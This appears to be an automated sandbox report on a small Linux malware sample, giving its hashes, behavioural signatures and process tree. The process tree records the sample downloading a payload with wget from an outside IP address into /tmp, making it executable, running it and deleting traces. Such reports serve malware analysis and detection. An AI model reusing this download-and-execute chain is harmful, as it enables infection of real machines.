Analysis
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max time kernel
21064s -
max time network
135s -
platform
linux_amd64 -
resource
ubuntu1804-amd64-en-20211208 -
resource tags
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submitted
09-08-2022 11:50
General
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Target
b
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Size
449B
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MD5
1b6c2e23804389fb3c4a9ddcce882f5d
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SHA1
0c086d7aa61e5c5a4de5c4e4d769c9c7440c8bbd
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SHA256
ffe9a29f878e5f4858347527510d65fd8d9d59a071dfb7a5d6ee8ce64394819a
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SHA512
8a4300b60ee626a8b7a9719ee1b16378802a3989f78ad895c4f3c17d385a0ae76d3113c50095b343f7836db5b7356e31f342afecf199c005d3ee2f26d40d741a
Score
9/10
Malware Config
Signatures
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Modifies hosts file 1 IoCs
Adds to hosts file used for mapping hosts to IP addresses.
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Writes DNS configuration 1 TTPs 1 IoCs
Writes data to DNS resolver config file.
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Legitimate hosting services abused for malware hosting/C2 1 TTPs
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Enumerates kernel/hardware configuration 1 TTPs 2 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
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Reads runtime system information 4 IoCs
Reads data from /proc virtual filesystem.
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Writes file to tmp directory 4 IoCs
Malware often drops required files in the /tmp directory.
Processes
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/tmp/b/tmp/b1⤵
- Writes file to tmp directory
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/usr/bin/wgetwget http://103.16.170.89:8080/docs/Ls -O /tmp/index2⤵
- Writes file to tmp directory
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/bin/chmodchmod 777 /tmp/index2⤵
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/tmp/index/tmp/index2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
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/tmp/index/tmp/index3⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
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/bin/sleepsleep 22⤵
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/bin/rmrm -rf /tmp/index2⤵
- Writes file to tmp directory
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/bin/rmrm -rf "/tmp/index "2⤵
- Writes file to tmp directory
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/usr/bin/whoamiwhoami2⤵